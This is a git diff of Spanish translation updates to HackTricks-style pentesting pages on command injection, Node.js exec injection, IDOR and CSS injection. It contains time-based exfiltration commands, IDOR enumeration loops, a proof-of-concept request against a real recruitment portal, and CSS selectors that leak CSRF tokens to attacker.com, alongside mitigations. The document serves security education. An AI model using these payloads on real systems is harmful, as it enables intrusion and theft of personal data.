basada en el tiempo +### Time based data exfiltration -Extracción de datos: carácter por carácter +Extrayendo datos: carácter por carácter ``` swissky@crashlab▸ ~ ▸ $ time if [ $(whoami|cut -c 1) == s ]; then sleep 5; fi real 0m5.007s @@ -89,9 +88,9 @@ real 0m0.002s user 0m0.000s sys 0m0.000s ``` -### DNS based data exfiltration +### Exfiltración de datos basada en DNS -Basado en la herramienta de `https://github.com/HoLyVieR/dnsbin`, también alojada en dnsbin.zhack.ca +Basado en la herramienta `https://github.com/HoLyVieR/dnsbin`, también alojada en dnsbin.zhack.ca ``` 1. Go to http://dnsbin.zhack.ca/ 2. Execute a simple 'ls' @@ -122,7 +121,7 @@ powershell C:**2\n??e*d.*? # notepad ### Node.js `child_process.exec` vs `execFile` -Al auditar back-ends en JavaScript/TypeScript, con frecuencia se encontrará con la API Node.js `child_process`. +Al auditar back-ends en JavaScript/TypeScript, a menudo te encontrarás con la API `child_process` de Node.js. ```javascript // Vulnerable: user-controlled variables interpolated inside a template string const { exec } = require('child_process'); @@ -130,9 +129,9 @@ exec(`/usr/bin/do-something --id_user ${id_user} --payload '${JSON.stringify(pay /* … */ }); ``` -`exec()` lanza un **shell** (`/bin/sh -c`), por lo tanto cualquier carácter que tenga un significado especial para el shell (back-ticks, `;`, `&&`, `|`, `$()`, …) resultará en **command injection** cuando la entrada del usuario se concatene en la cadena. +`exec()` genera un **shell** (`/bin/sh -c`), por lo tanto cualquier carácter que tenga un significado especial para el shell (back-ticks, `;`, `&&`, `|`, `$()`, …) dará lugar a **command injection** cuando la entrada del usuario se concatene en la cadena. -**Mitigación:** usa `execFile()` (o `spawn()` sin la opción `shell`) y proporciona **cada argumento como un elemento separado del array** para que no intervenga el shell: +**Mitigación:** utiliza `execFile()` (o `spawn()` sin la opción `shell`) y proporciona **cada argumento como un elemento separado del array** para que no se utilice el shell: ```javascript const { execFile } = require('child_process'); execFile('/usr/bin/do-something', [ @@ -140,9 +139,9 @@ execFile('/usr/bin/do-something', [ '--payload', JSON.stringify(payload) ]); ``` -Caso real: *Synology Photos* ≤ 1.7.0-0794 era explotable mediante un evento WebSocket no autenticado que colocaba datos controlados por el atacante en `id_user`, los cuales luego se insertaban en una llamada `exec()`, logrando RCE (Pwn2Own Ireland 2024). +Caso real: *Synology Photos* ≤ 1.7.0-0794 fue explotable mediante un evento WebSocket no autenticado que colocaba datos controlados por el atacante en `id_user`, que luego se incrustaban en una llamada a `exec()`, logrando RCE (Pwn2Own Ireland 2024). -## Brute-Force Detection List +## Lista de detección de Brute-Force {{#ref}} diff --git a/src/pentesting-web/idor.md b/src/pentesting-web/idor.md index 191f66022..50f0f6849 100644 --- a/src/pentesting-web/idor.md +++ b/src/pentesting-web/idor.md @@ -2,23 +2,23 @@ {{#include ../banners/hacktricks-training.md}} -IDOR (Insecure Direct Object Reference) / Broken Object Level Authorization (BOLA) aparece cuando un endpoint web o API revela o acepta un identificador controlable por el usuario que se usa **directamente** para acceder a un objeto interno **sin verificar que el llamante esté autorizado** para acceder/modificar ese objeto. -La explotación exitosa normalmente permite escalamiento de privilegios horizontal o vertical, como leer o modificar datos de otros usuarios y, en el peor de los casos, la toma total de cuentas o la exfiltración masiva de datos. +IDOR (Insecure Direct Object Reference) / Broken Object Level Authorization (BOLA) aparece cuando un web o API endpoint revela o acepta un identificador controlado por el usuario que se usa **directamente** para acceder a un objeto interno **sin verificar que el solicitante esté autorizado** para acceder/modificar ese objeto. +La explotación exitosa normalmente permite escalada de privilegios horizontal o vertical, como leer o modificar datos de otros usuarios y, en el peor de los casos, la toma completa de cuentas o la exfiltración masiva de datos. --- -## 1. Identificando posibles IDOR +## 1. Identifying Potential IDORs -1. Busca **parámetros que hagan referencia a un objeto**: -* Ruta: `/api/user/1234`, `/files/550e8400-e29b-41d4-a716-446655440000` -* Consulta: `?id=42`, `?invoice=2024-00001` -* Cuerpo / JSON: `{"user_id": 321, "order_id": 987}` -* Encabezados / Cookies: `X-Client-ID: 4711` -2. Prioriza endpoints que **leen o actualizan** datos (`GET`, `PUT`, `PATCH`, `DELETE`). -3. Observa cuando los identificadores son **secuenciales o predecibles** – si tu ID es `64185742`, entonces `64185741` probablemente exista. -4. Explora flujos ocultos o alternativos (p. ej. *"Paradox team members"* link en las páginas de login) que puedan exponer APIs adicionales. -5. Usa una sesión autenticada con **pocos privilegios** y cambia solo el ID **manteniendo el mismo token/cookie**. La ausencia de un error de autorización suele ser señal de IDOR. +1. Look for **parameters that reference an object**: +* Path: `/api/user/1234`, `/files/550e8400-e29b-41d4-a716-446655440000` +* Query: `?id=42`, `?invoice=2024-00001` +* Body / JSON: `{"user_id": 321, "order_id": 987}` +* Headers / Cookies: `X-Client-ID: 4711` +2. Prefer endpoints that **read or update** data (`GET`, `PUT`, `PATCH`, `DELETE`). +3. Note when identifiers are **sequential or predictable** – if your ID is `64185742`, then `64185741` probably exists. +4. Explore hidden or alternate flows (e.g. *"Paradox team members"* link in login pages) that might expose extra APIs. +5. Use an **authenticated low-privilege session** and change only the ID **keeping the same token/cookie**. The absence of an authorization error is usually a sign of IDOR. -### Quick manual tampering (Burp Repeater) +### Manipulación manual rápida (Burp Repeater) ``` PUT /api/lead/cem-xhr HTTP/1.1 Host: www.example.com @@ -27,7 +27,7 @@ Content-Type: application/json {"lead_id":64185741} ``` -### Enumeración automatizada (Burp Intruder / bucle de curl) +### Enumeración automatizada (Burp Intruder / curl loop) ```bash for id in $(seq 64185742 64185700); do curl -s -X PUT 'https://www.example.com/api/lead/cem-xhr' \ @@ -36,69 +36,67 @@ curl -s -X PUT 'https://www.example.com/api/lead/cem-xhr' \ -d '{"lead_id":'"$id"'}' | jq -e '.email' && echo "Hit $id"; done ``` ---- +### Oráculo de respuesta de error para la enumeración de usuarios/archivos -### Error-response oracle for user/file enumeration +Cuando un download endpoint acepta tanto un username como un filename (p.ej. `/view.php?username=&file=`), las sutiles diferencias en los mensajes de error a menudo crean un oráculo: -Cuando un download endpoint acepta tanto un username como un filename (p. ej. `/view.php?username=&file=`), sutiles diferencias en los mensajes de error a menudo crean un oracle: +- Non-existent username → "User not found" +- Bad filename but valid extension → "File does not exist" (sometimes also lists available files) +- Bad extension → validation error -- Username inexistente → "User not found" -- Filename inválido pero extensión válida → "File does not exist" (a veces también lista archivos disponibles) -- Extensión inválida → validation error - -Con cualquier sesión autenticada, puedes fuzzear el parámetro username mientras mantienes un filename benigno y filtrar por la cadena "user not found" para descubrir usuarios válidos: +Con cualquier authenticated session, puedes fuzz el parámetro username mientras mantienes un filename benigno y filtrar por la cadena "User not found" para descubrir usuarios válidos: ```bash ffuf -u 'http://target/view.php?username=FUZZ&file=test.doc' \ -b 'PHPSESSID=' \ -w /opt/SecLists/Usernames/Names/names.txt \ -fr 'User not found' ``` -Una vez que se identifican nombres de usuario válidos, solicita archivos específicos directamente (por ejemplo, `/view.php?username=amanda&file=privacy.odt`). Este patrón suele conducir a la divulgación no autorizada de documentos de otros usuarios y a la exposición de credenciales. +Una vez que se identifican nombres de usuario válidos, solicita archivos específicos directamente (p. ej., `/view.php?username=amanda&file=privacy.odt`). Este patrón con frecuencia conduce a la divulgación no autorizada de los documentos de otros usuarios y a la filtración de credenciales. --- ## 2. Estudio de caso real – McHire Chatbot Platform (2025) -Durante una evaluación del portal de reclutamiento Paradox.ai-powered **McHire** se descubrió la siguiente IDOR: +Durante una evaluación del portal de reclutamiento **McHire** impulsado por Paradox.ai se descubrió el siguiente IDOR: * Endpoint: `PUT /api/lead/cem-xhr` -* Authorization: user session cookie for **any** restaurant test account -* Body parameter: `{"lead_id": N}` – 8-digit, **sequential** numeric identifier +* Autorización: cookie de sesión de usuario para **cualquier** cuenta de prueba de restaurante +* Parámetro del cuerpo: `{"lead_id": N}` – identificador numérico de 8 dígitos, **secuencial** -Al disminuir `lead_id` el tester recuperó la **full PII** de solicitantes arbitrarios (nombre, e-mail, teléfono, dirección, preferencias de turno) además de un consumidor **JWT** que permitió session hijacking. La enumeración del rango `1 – 64,185,742` expuso aproximadamente **64 millones** de registros. +Al disminuir `lead_id` el evaluador recuperó la **PII completa** de solicitantes arbitrarios (name, e-mail, phone, address, shift preferences) además de un **JWT** de consumidor que permitió el secuestro de sesión. La enumeración del rango `1 – 64,185,742` expuso aproximadamente **64 million** registros. -Proof-of-Concept request: +Solicitud de prueba de concepto: ```bash curl -X PUT 'https://www.mchire.com/api/lead/cem-xhr' \ -H 'Content-Type: application/json' \ -d '{"lead_id":64185741}' ``` -Combinada con las **credenciales administrativas por defecto** (`123456:123456`) que daban acceso a la cuenta de prueba, la vulnerabilidad resultó en una brecha de datos crítica a nivel de toda la empresa. +Combinado con **default admin credentials** (`123456:123456`) que otorgaban acceso a la cuenta de prueba, la vulnerabilidad resultó en una brecha de datos crítica a nivel de toda la empresa. --- ## 3. Impacto de IDOR / BOLA * Escalada horizontal – leer/actualizar/eliminar los datos de **otros usuarios**. -* Escalada vertical – un usuario con pocos privilegios obtiene funcionalidad exclusiva de administrador. -* Brecha masiva de datos si los identificadores son secuenciales (p. ej., IDs de solicitantes, facturas). -* Secuestro de cuentas mediante el robo de tokens o el restablecimiento de contraseñas de otros usuarios. +* Escalada vertical – un usuario con pocos privilegios obtiene funcionalidad exclusiva de admin. +* Brecha masiva de datos si los identificadores son secuenciales (ej., IDs de solicitantes, facturas). +* Secuestro de cuentas robando tokens o restableciendo contraseñas de otros usuarios. --- ## 4. Mitigaciones & Best Practices -1. **Aplicar autorización a nivel de objeto** en cada solicitud (`user_id == session.user`). +1. **Aplicar autorización a nivel de objeto** en cada petición (`user_id == session.user`). 2. Preferir **identificadores indirectos e impredecibles** (UUIDv4, ULID) en lugar de IDs auto-incrementales. -3. Realizar la autorización **en el servidor**, nunca confíes en campos de formulario ocultos o controles de la interfaz de usuario. -4. Implementa verificaciones **RBAC / ABAC** en un middleware central. -5. Agrega **rate-limiting & logging** para detectar la enumeración de IDs. -6. Realiza pruebas de seguridad en cada nuevo endpoint (unit, integration, and DAST). +3. Realizar la autorización **del lado del servidor**, nunca confiar en campos ocultos de formulario o controles de UI. +4. Implementar verificaciones **RBAC / ABAC** en un middleware central. +5. Agregar **rate-limiting & logging** para detectar la enumeración de IDs. +6. Realizar pruebas de seguridad en cada nuevo endpoint (unit, integration, and DAST). --- -## 5. Tooling +## 5. Herramientas * **BurpSuite extensions**: Authorize, Auto Repeater, Turbo Intruder. * **OWASP ZAP**: Auth Matrix, Forced Browse. * **Github projects**: `bwapp-idor-scanner`, `Blindy` (bulk IDOR hunting). -## References +## Referencias * [McHire Chatbot Platform: Default Credentials and IDOR Expose 64M Applicants’ PII](https://ian.sh/mcdonalds) * [OWASP Top 10 – Broken Access Control](https://owasp.org/Top10/A01_2021-Broken_Access_Control/) * [How to Find More IDORs – Vickie Li](https://medium.com/@vickieli/how-to-find-more-idors-ae2db67c9489) diff --git a/src/pentesting-web/xs-search/css-injection/README.md b/src/pentesting-web/xs-search/css-injection/README.md index cfe7ec3d4..7281cbc7a 100644 --- a/src/pentesting-web/xs-search/css-injection/README.md +++ b/src/pentesting-web/xs-search/css-injection/README.md @@ -6,7 +6,7 @@ ### Attribute Selector -Los selectores CSS se crean para coincidir con los valores de los atributos `name` y `value` de un elemento `input`. Si el atributo `value` del elemento `input` comienza con un carácter específico, se carga un recurso externo predefinido: +Los CSS selectors se crean para coincidir con los valores de los atributos `name` y `value` de un elemento `input`. Si el atributo `value` del elemento `input` comienza con un carácter específico, se carga un recurso externo predefinido: ```css input[name="csrf"][value^="a"] { background-image: url(https://attacker.com/exfil/a); @@ -19,30 +19,30 @@ input[name="csrf"][value^="9"] { background-image: url(https://attacker.com/exfil/9); } ``` -Sin embargo, este enfoque presenta una limitación al tratar con elementos input ocultos (`type="hidden"`), ya que los elementos ocultos no cargan fondos. +Sin embargo, este enfoque presenta una limitación al tratar con elementos input ocultos (`type="hidden"`) porque los elementos ocultos no cargan imágenes de fondo. #### Bypass para elementos ocultos -Para eludir esta limitación, puedes apuntar a un elemento hermano posterior usando el combinador general de hermanos `~`. La regla CSS entonces se aplica a todos los hermanos que siguen al elemento input oculto, provocando que la imagen de fondo se cargue: +Para eludir esta limitación, puedes apuntar a un elemento hermano siguiente usando el combinador general de hermanos `~`. La regla CSS entonces se aplica a todos los hermanos que siguen al elemento input oculto, provocando que se cargue la imagen de fondo: ```css input[name="csrf"][value^="csrF"] ~ * { background-image: url(https://attacker.com/exfil/csrF); } ``` -Un ejemplo práctico de explotación de esta técnica está detallado en el fragmento de código proporcionado. Puedes verlo [aquí](https://gist.github.com/d0nutptr/928301bde1d2aa761d1632628ee8f24e). +Un ejemplo práctico de explotación de esta técnica se detalla en el fragmento de código proporcionado. Puedes verlo [here](https://gist.github.com/d0nutptr/928301bde1d2aa761d1632628ee8f24e). -#### Prerrequisitos para CSS Injection +#### Requisitos previos para CSS Injection -Para que la técnica CSS Injection sea efectiva, se deben cumplir ciertas condiciones: +Para que la técnica de CSS Injection sea efectiva, se deben cumplir ciertas condiciones: -1. **Payload Length**: El vector de inyección CSS debe soportar payloads lo suficientemente largos para acomodar los selectores creados. +1. **Payload Length**: El vector de CSS injection debe soportar payloads lo suficientemente largos para acomodar los selectores diseñados. 2. **CSS Re-evaluation**: Debes tener la capacidad de enmarcar la página, lo cual es necesario para activar la re-evaluación del CSS con payloads recién generados. -3. **External Resources**: La técnica asume la posibilidad de usar imágenes alojadas externamente. Esto podría estar restringido por la política de seguridad de contenido (CSP) del sitio. +3. **External Resources**: La técnica asume la capacidad de usar imágenes alojadas externamente. Esto podría estar restringido por la Content Security Policy (CSP) del sitio. ### Blind Attribute Selector -Como [**explicado en esta publicación**](https://portswigger.net/research/blind-css-exfiltration), es posible combinar los selectores **`:has`** y **`:not`** para identificar contenido incluso desde elementos ciegos. Esto es muy útil cuando no tienes idea de qué hay dentro de la página web que carga la inyección de CSS.\ -También es posible usar esos selectores para extraer información de varios bloques del mismo tipo, como en: +As [**explained in this post**](https://portswigger.net/research/blind-css-exfiltration), it's possible to combine the selectors **`:has`** and **`:not`** to identify content even from blind elements. This is very useful when you have no idea what is inside the web page loading the CSS injection.\ +It's also possible to use those selectors to extract information from several block of the same type like in: ```html